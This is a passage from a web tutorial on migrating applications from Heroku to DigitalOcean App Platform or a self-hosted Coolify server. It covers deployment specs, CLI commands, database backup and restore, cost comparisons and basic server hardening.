<p><strong>Strategy</strong>: Gradual traffic shift using DNS.</p>
<p><strong>Steps</strong>:</p>
<ol>
<li>Deploy app to App Platform with DigitalOcean database</li>
<li>Set DNS TTL to 60 seconds</li>
<li>Add App Platform URL as secondary A record (10% traffic)</li>
<li>Monitor errors, latency, throughput</li>
<li>Gradually increase traffic: 25% → 50% → 100%</li>
<li>Decommission Heroku dynos</li>
</ol>
<p><strong>Rollback</strong>: Simple DNS change back to Heroku.</p>
<h3 id="h3-phase-4-supporting-services-week-4" class="group relative scroll-mt-24">
        <a href="#h3-phase-4-supporting-services-week-4" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 4: Supporting Services (Week 4)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-4-supporting-services-week-4"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Migrate Redis, object storage, background jobs.</p>
<p><strong>Steps</strong>:</p>
<ol>
<li>Set up Managed Redis on DigitalOcean</li>
<li>Migrate Spaces (or keep existing S3, update credentials)</li>
<li>Update worker processes to use DigitalOcean Redis</li>
<li>Move scheduled jobs to App Platform workers</li>
</ol>
<p><strong>Total migration time</strong>: 3-4 weeks with minimal risk.</p>
<hr>
<h2 id="h2-technical-implementation-component-by-component" class="group relative scroll-mt-24">
        <a href="#h2-technical-implementation-component-by-component" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Technical Implementation: Component by Component
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-technical-implementation-component-by-component"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-digitalocean-app-platform" class="group relative scroll-mt-24">
        <a href="#h3-1-digitalocean-app-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. DigitalOcean App Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-digitalocean-app-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>What it is</strong>: Platform-as-a-Service similar to Heroku. Git-based deployments, auto-scaling, managed runtime.</p>
<p><strong>How it compares to Heroku</strong>:</p>
<ul>
<li><strong>Buildpacks</strong>: Supports Docker, Node.js, Python, Ruby, Go, PHP out of box</li>
<li><strong>Deployments</strong>: Git push or GitHub integration (like Heroku)</li>
<li><strong>Scaling</strong>: Horizontal auto-scaling based on CPU/memory</li>
<li><strong>Zero-downtime</strong>: Rolling deployments (like Heroku)</li>
<li><strong>Review apps</strong>: Preview environments from PRs</li>
</ul>
<p><strong>Key differences</strong>:</p>
<ul>
<li>More explicit resource limits (CPU, RAM clearly defined)</li>
<li>Lower base cost ($5/month starter vs $7/month Heroku Eco)</li>
<li>No dyno sleeping (all instances stay running)</li>
<li>Better observability (built-in metrics, no add-on needed)</li>
</ul>
<h4 id="h4-setup-example-nodejs-api" class="group relative scroll-mt-24">
        <a href="#h4-setup-example-nodejs-api" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Setup Example: Node.js API
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-setup-example-nodejs-api"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p><strong>Option 1: GitHub Integration (Recommended)</strong></p>
<ol>
<li>Create <code>.do/app.yaml</code> in your repository:</li>
</ol>
<pre><code class="hljs language-yaml"><span class="hljs-attr">name:</span> <span class="hljs-string">my-api</span>
<span class="hljs-attr">region:</span> <span class="hljs-string">nyc</span>

<span class="hljs-attr">services:</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">web</span>
  <span class="hljs-attr">github:</span>
    <span class="hljs-attr">repo:</span> <span class="hljs-string">yourorg/your-repo</span>
    <span class="hljs-attr">branch:</span> <span class="hljs-string">main</span>
    <span class="hljs-attr">deploy_on_push:</span> <span class="hljs-literal">true</span>
  
  <span class="hljs-attr">build_command:</span> <span class="hljs-string">npm</span> <span class="hljs-string">install</span> <span class="hljs-string">&amp;&amp;</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">build</span>
  <span class="hljs-attr">run_command:</span> <span class="hljs-string">npm</span> <span class="hljs-string">start</span>
  
  <span class="hljs-attr">instance_count:</span> <span class="hljs-number">2</span>
  <span class="hljs-attr">instance_size_slug:</span> <span class="hljs-string">professional-xs</span>  <span class="hljs-comment"># $12/month per instance</span>
  
  <span class="hljs-attr">http_port:</span> <span class="hljs-number">3000</span>
  
  <span class="hljs-attr">health_check:</span>
    <span class="hljs-attr">http_path:</span> <span class="hljs-string">/health</span>
    <span class="hljs-attr">initial_delay_seconds:</span> <span class="hljs-number">10</span>
    <span class="hljs-attr">period_seconds:</span> <span class="hljs-number">10</span>
  
  <span class="hljs-attr">envs:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">NODE_ENV</span>
    <span class="hljs-attr">value:</span> <span class="hljs-string">production</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">DATABASE_URL</span>
    <span class="hljs-attr">type:</span> <span class="hljs-string">SECRET</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">REDIS_URL</span>
    <span class="hljs-attr">type:</span> <span class="hljs-string">SECRET</span>

<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">worker</span>
  <span class="hljs-attr">github:</span>
    <span class="hljs-attr">repo:</span> <span class="hljs-string">yourorg/your-repo</span>
    <span class="hljs-attr">branch:</span> <span class="hljs-string">main</span>
  
  <span class="hljs-attr">build_command:</span> <span class="hljs-string">npm</span> <span class="hljs-string">install</span>
  <span class="hljs-attr">run_command:</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">worker</span>
  
  <span class="hljs-attr">instance_count:</span> <span class="hljs-number">1</span>
  <span class="hljs-attr">instance_size_slug:</span> <span class="hljs-string">basic-xs</span>  <span class="hljs-comment"># $5/month</span>
  
  <span class="hljs-attr">envs:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">NODE_ENV</span>
    <span class="hljs-attr">value:</span> <span class="hljs-string">production</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">DATABASE_URL</span>
    <span class="hljs-attr">type:</span> <span class="hljs-string">SECRET</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">REDIS_URL</span>
    <span class="hljs-attr">type:</span> <span class="hljs-string">SECRET</span>

<span class="hljs-attr">databases:</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">production-db</span>
  <span class="hljs-attr">engine:</span> <span class="hljs-string">PG</span>
  <span class="hljs-attr">version:</span> <span class="hljs-string">&quot;15&quot;</span>
  <span class="hljs-attr">production:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">cluster_name:</span> <span class="hljs-string">my-db-cluster</span>
</code></pre><ol start="2">
<li>Deploy via CLI:</li>
</ol>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Install doctl (DigitalOcean CLI)</span>
brew install doctl

<span class="hljs-comment"># Authenticate</span>
doctl auth init

<span class="hljs-comment"># Create app from spec</span>
doctl apps create --spec .<span class="hljs-keyword">do</span>/app.yaml

<span class="hljs-comment"># Or deploy via UI: Apps → Create → Import from GitHub</span>
</code></pre><p><strong>Option 2: Dockerfile Deployment</strong></p>
<p>If you have custom Docker setup:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">services:</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">web</span>
  <span class="hljs-attr">dockerfile_path:</span> <span class="hljs-string">Dockerfile</span>
  <span class="hljs-attr">source_dir:</span> <span class="hljs-string">/</span>
  
  <span class="hljs-attr">instance_count:</span> <span class="hljs-number">2</span>
  <span class="hljs-attr">instance_size_slug:</span> <span class="hljs-string">professional-xs</span>
  
  <span class="hljs-attr">http_port:</span> <span class="hljs-number">8080</span>
</code></pre><p><strong>Auto-Scaling Configuration</strong>:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">services:</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">web</span>
  <span class="hljs-attr">instance_count:</span> <span class="hljs-number">2</span>
  <span class="hljs-attr">autoscaling:</span>
    <span class="hljs-attr">min_instance_count:</span> <span class="hljs-number">2</span>
    <span class="hljs-attr">max_instance_count:</span> <span class="hljs-number">10</span>
    <span class="hljs-attr">metrics:</span>
      <span class="hljs-attr">cpu:</span>
        <span class="hljs-attr">percent:</span> <span class="hljs-number">75</span>  <span class="hljs-comment"># Scale up when CPU &gt; 75%</span>
</code></pre><h4 id="h4-environment-variables-and-secrets" class="group relative scroll-mt-24">
        <a href="#h4-environment-variables-and-secrets" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Environment Variables and Secrets
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-environment-variables-and-secrets"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p><strong>Set via CLI</strong>:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Get app ID</span>
doctl apps list

<span class="hljs-comment"># Set environment variable</span>
doctl apps update <span class="hljs-variable">$APP_ID</span> --set-env=<span class="hljs-string">&quot;KEY=value&quot;</span>

<span class="hljs-comment"># Set secret (encrypted)</span>
doctl apps update <span class="hljs-variable">$APP_ID</span> --set-env=<span class="hljs-string">&quot;DATABASE_URL=postgresql://...&quot;</span> --encrypt
</code></pre><p><strong>Set via UI</strong>: Apps → Settings → Environment Variables</p>
<p><strong>Best practice</strong>: Use App Platform&#39;s managed database integration for automatic DATABASE_URL injection.</p>
<hr>
<h3 id="h3-alternative-coolify-self-hosted-setup" class="group relative scroll-mt-24">
        <a href="#h3-alternative-coolify-self-hosted-setup" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Alternative: Coolify Self-Hosted Setup
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-alternative-coolify-self-hosted-setup"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you&#39;re willing to manage your own server in exchange for dramatically lower costs, Coolify offers a compelling path. This open-source platform runs entirely on a single DigitalOcean Droplet and can host multiple applications for as little as $24/month — a fraction of what you&#39;d pay on Heroku or even App Platform.</p>
<h4 id="h4-what-is-coolify" class="group relative scroll-mt-24">
        <a href="#h4-what-is-coolify" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What is Coolify?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-what-is-coolify"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p>Think of Coolify as a self-hosted Heroku. It gives you the same git-push deployment experience you&#39;re used to, but everything runs on infrastructure you control. Behind the scenes, it uses Docker for containerization, Traefik for routing and SSL termination, and provides a clean web UI for managing everything.</p>
<p>The platform supports GitHub, GitLab, and Bitbucket repositories with automatic deployments on push. SSL certificates are handled automatically through Let&#39;s Encrypt, and you get built-in support for PostgreSQL, MySQL, MongoDB, and Redis databases. Whether you&#39;re deploying static sites, APIs, or full-stack applications, Coolify handles the orchestration while you maintain full control over the underlying infrastructure.</p>
<h4 id="h4-setting-up-coolify" class="group relative scroll-mt-24">
        <a href="#h4-setting-up-coolify" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Setting Up Coolify
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-setting-up-coolify"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p>The setup process takes about 15 minutes from start to finish. You&#39;ll start by spinning up a fresh Ubuntu Droplet, run Coolify&#39;s installer, configure DNS, and deploy your first app. Here&#39;s the step-by-step walkthrough.</p>
<p><strong>Creating Your Droplet</strong></p>
<p>Start with a clean Ubuntu 22.04 server. For 1-3 small applications, a 4GB RAM Droplet ($24/month) is plenty. If you&#39;re running 3-5 medium-traffic apps or processing background jobs, step up to 8GB ($48/month). High-traffic setups with 5-10 apps work well on 16GB ($96/month).</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Create a Droplet via CLI</span>
doctl compute droplet create coolify-server \\
  --image ubuntu-22-04-x64 \\
  --size s-2vcpu-4gb \\
  --region nyc3 \\
  --ssh-keys YOUR_SSH_KEY_ID

<span class="hljs-comment"># Or use the DigitalOcean UI:</span>
<span class="hljs-comment"># - Ubuntu 22.04 LTS</span>
<span class="hljs-comment"># - 4GB RAM / 2 vCPUs (starts at $24/month)</span>
<span class="hljs-comment"># - NYC3 or any region</span>
</code></pre><p><a href="https://m.do.co/c/2a9bba940f39">Sign up for DigitalOcean</a> and receive $200 in credits to test Coolify risk-free.</p>
<p><strong>Installing Coolify</strong></p>
<p>Once your Droplet is running, SSH in and run Coolify&#39;s installer. The script handles all dependencies — Docker, Docker Compose, and the Coolify control plane. Installation takes 5-10 minutes depending on your connection speed.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># SSH into Droplet</span>
ssh root@your-droplet-ip

<span class="hljs-comment"># Install Coolify (takes 5-10 minutes)</span>
curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash

<span class="hljs-comment"># After installation, access Coolify at:</span>
<span class="hljs-comment"># http://your-droplet-ip:8000</span>
</code></pre><p>After installation completes, you&#39;ll access Coolify&#39;s web interface at <code>http://your-droplet-ip:8000</code>. The first time you log in, you&#39;ll create an admin account and set up your email for SSL certificate notifications.</p>
<p><strong>Configuring DNS</strong></p>
<p>Before deploying apps, point your domain to the Droplet&#39;s IP address:</p>
<pre><code># A record
coolify.yourdomain.com  →  your-droplet-ip

# Wildcard for subdomains (optional)
*.coolify.yourdomain.com  →  your-droplet-ip
</code></pre><p>The wildcard record is optional but recommended — it lets you deploy multiple apps on different subdomains without manually creating DNS records each time.</p>
<p><strong>Deploying Your First Application</strong></p>
<p>The deployment flow in Coolify feels familiar if you&#39;ve used Heroku. Start by creating a project (think of it as a workspace), then add a new application. Connect your GitHub, GitLab, or Bitbucket repository, and Coolify will analyze your code to detect the framework.</p>
<p>For most frameworks, Coolify uses Nixpacks (similar to Heroku&#39;s buildpacks) to automatically detect and build your app. If you have a Dockerfile, it&#39;ll use that instead. Set your environment variables, specify your custom domain, and hit deploy. Coolify pulls your code, builds it, starts the container, and provisions an SSL certificate — all automatically.</p>
<p><strong>Example deployment (Node.js)</strong>:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># Coolify auto-detects from package.json, but you can customize:</span>

<span class="hljs-comment"># Environment Variables (in Coolify UI):</span>
<span class="hljs-string">NODE_ENV=production</span>
<span class="hljs-string">PORT=3000</span>
<span class="hljs-string">DATABASE_URL=postgresql://user:pass@localhost:5432/myapp</span>
<span class="hljs-string">REDIS_URL=redis://localhost:6379</span>

<span class="hljs-comment"># Build Command (optional override):</span>
<span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">build</span>

<span class="hljs-comment"># Start Command:</span>
<span class="hljs-string">npm</span> <span class="hljs-string">start</span>
</code></pre><h4 id="h4-adding-databases-with-coolify" class="group relative scroll-mt-24">
        <a href="#h4-adding-databases-with-coolify" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Adding Databases with Coolify
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-adding-databases-with-coolify"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p>One of Coolify&#39;s best features is built-in database management. Instead of provisioning separate managed databases, you can deploy PostgreSQL, MySQL, MongoDB, or Redis directly on your Droplet through the same web interface.</p>
<p><strong>Setting up PostgreSQL</strong> takes about 30 seconds. Navigate to Resources → New Database → PostgreSQL, set your database name and credentials, and Coolify spins up a containerized PostgreSQL instance. The connection string is generated automatically, so you can copy it directly into your application&#39;s environment variables.</p>
<p><strong>Redis works the same way</strong>. Create a new Redis resource, choose version 7.x (recommended for stability), and Coolify handles persistence configuration and automatic restarts. Your apps connect via <code>redis://localhost:6379</code>.</p>
<p><strong>Backing up your databases</strong> is critical since you&#39;re managing the infrastructure. Here&#39;s a simple backup script that dumps PostgreSQL and ships it to DigitalOcean Spaces:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Coolify stores data in Docker volumes</span>
<span class="hljs-comment"># Backup PostgreSQL:</span>
docker <span class="hljs-built_in">exec</span> coolify-postgres pg_dump -U postgres myapp &gt; backup.sql

<span class="hljs-comment"># Backup Redis:</span>
docker <span class="hljs-built_in">exec</span> coolify-redis redis-cli SAVE
docker <span class="hljs-built_in">cp</span> coolify-redis:/data/dump.rdb ./redis-backup.rdb

<span class="hljs-comment"># Automate with cron:</span>
0 2 * * * /root/backup-databases.sh
</code></pre><h4 id="h4-migrating-from-heroku-to-coolify" class="group relative scroll-mt-24">
        <a href="#h4-migrating-from-heroku-to-coolify" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Migrating from Heroku to Coolify
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-migrating-from-heroku-to-coolify"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p>The migration process from Heroku follows the same pattern as migrating to App Platform, but with a few extra manual steps since you&#39;re managing the infrastructure.</p>
<p><strong>Export your Heroku data first</strong>. Capture a fresh database backup and download your environment variables:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Export database</span>
heroku pg:backups:capture -a myapp
heroku pg:backups:download -a myapp

<span class="hljs-comment"># Get environment variables</span>
heroku config -a myapp --shell &gt; .env.production
</code></pre><p><strong>Restore your database on Coolify</strong>. SSH into your Droplet and restore the dump directly into the Coolify-managed PostgreSQL container:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># SSH into Coolify Droplet</span>
ssh root@coolify-server

<span class="hljs-comment"># Restore PostgreSQL dump</span>
docker <span class="hljs-built_in">exec</span> -i coolify-postgres psql -U postgres myapp &lt; latest.dump

<span class="hljs-comment"># Verify data</span>
docker <span class="hljs-built_in">exec</span> coolify-postgres psql -U postgres myapp -c <span class="hljs-string">&quot;SELECT count(*) FROM users;&quot;</span>
</code></pre><p><strong>Deploy your application through the Coolify UI</strong>. Create the app, connect your repository, and paste in your environment variables from the <code>.env.production</code> file you exported. Deploy to a temporary subdomain first to test everything works before switching DNS.</p>
<p>Once you&#39;ve verified the app works correctly, update your DNS records to point to the Coolify Droplet. Coolify will automatically request and install an SSL certificate from Let&#39;s Encrypt. This typically takes 1-2 minutes.</p>
<p><strong>Decommission Heroku only after monitoring for 24-48 hours</strong>. Put Heroku in maintenance mode while you verify everything in production:</p>
<pre><code class="hljs language-bash">heroku maintenance:on -a myapp
<span class="hljs-comment"># Monitor Coolify for 24-48 hours</span>
<span class="hljs-comment"># Then delete Heroku app</span>
</code></pre><p>If you spot any issues during this monitoring window, you can quickly revert by turning off maintenance mode on Heroku.</p>
<h4 id="h4-cost-comparison-coolify-vs-app-platform-vs-heroku" class="group relative scroll-mt-24">
        <a href="#h4-cost-comparison-coolify-vs-app-platform-vs-heroku" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Cost Comparison: Coolify vs App Platform vs Heroku
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-cost-comparison-coolify-vs-app-platform-vs-heroku"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p><strong>Scenario: 3 small apps + PostgreSQL + Redis</strong></p>
<table>
<thead>
<tr>
<th><strong>Platform</strong></th>
<th><strong>Monthly Cost</strong></th>
<th><strong>Notes</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>Heroku</strong></td>
<td>$735/month</td>
<td>3× Performance-M ($150 each) + 3× Standard-0 Postgres ($150) + 3× Premium-0 Redis ($45)</td>
</tr>
<tr>
<td><strong>App Platform</strong></td>
<td>$249/month</td>
<td>3× Professional-XS apps ($72) + 3× Managed DB Basic ($45) + 3× Managed Redis ($45) + Spaces ($5)</td>
</tr>
<tr>
<td><strong>Coolify</strong></td>
<td>$24-48/month</td>
<td>1× Droplet 4-8GB ($24-48) + self-hosted databases (no extra cost)</td>
</tr>
</tbody></table>
<p><strong>Savings</strong>: Coolify is <strong>94-97% cheaper</strong> than Heroku for multi-app setups.</p>
<h4 id="h4-coolify-best-practices" class="group relative scroll-mt-24">
        <a href="#h4-coolify-best-practices" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Coolify Best Practices
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h4-coolify-best-practices"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><p>Once you&#39;re running on Coolify, a few operational practices will save you headaches down the road.</p>
<p><strong>Set up automated backups immediately</strong>. Here&#39;s a script that runs nightly and ships database dumps to DigitalOcean Spaces:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># /root/backup-to-spaces.sh</span>
<span class="hljs-comment">#!/bin/bash</span>
DATE=$(<span class="hljs-built_in">date</span> +%Y%m%d)
docker <span class="hljs-built_in">exec</span> coolify-postgres pg_dumpall -U postgres | gzip &gt; /tmp/db-<span class="hljs-variable">$DATE</span>.sql.gz
s3cmd put /tmp/db-<span class="hljs-variable">$DATE</span>.sql.gz s3://my-backups/coolify/
</code></pre><p>Add this to cron with <code>0 2 * * * /root/backup-to-spaces.sh</code> to run at 2 AM daily. Store at least 7 days of backups and test your restore process quarterly.</p>
<p><strong>Monitor your applications</strong> using Uptime Kuma, which you can also deploy through Coolify. It&#39;s lightweight, provides downtime alerts, and integrates with Slack, Discord, or email notifications.</p>
<p><strong>Lock down your server</strong> with UFW firewall. Only expose SSH (port 22), HTTP (80), and HTTPS (443). Keep Coolify updated with <code>coolify update</code> every month or when security patches are released. Use strong, randomly generated passwords for all database credentials.</p>
<p><strong>Plan your exit strategy</strong>. When you outgrow a single Droplet — typically around 10K-50K requests/minute or when you need multi-region deployment — you can migrate to App Platform or Kubernetes. The containerized nature of Coolify makes this transition straightforward.</p>
<h4 id="h4-when-coolify-is-the-right-choice" class="group relative scroll-mt-24">
        <a href="#h4-when-coolify-is-the-right-choice" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When Coolify is the Right Choice
        </a>
        <button 
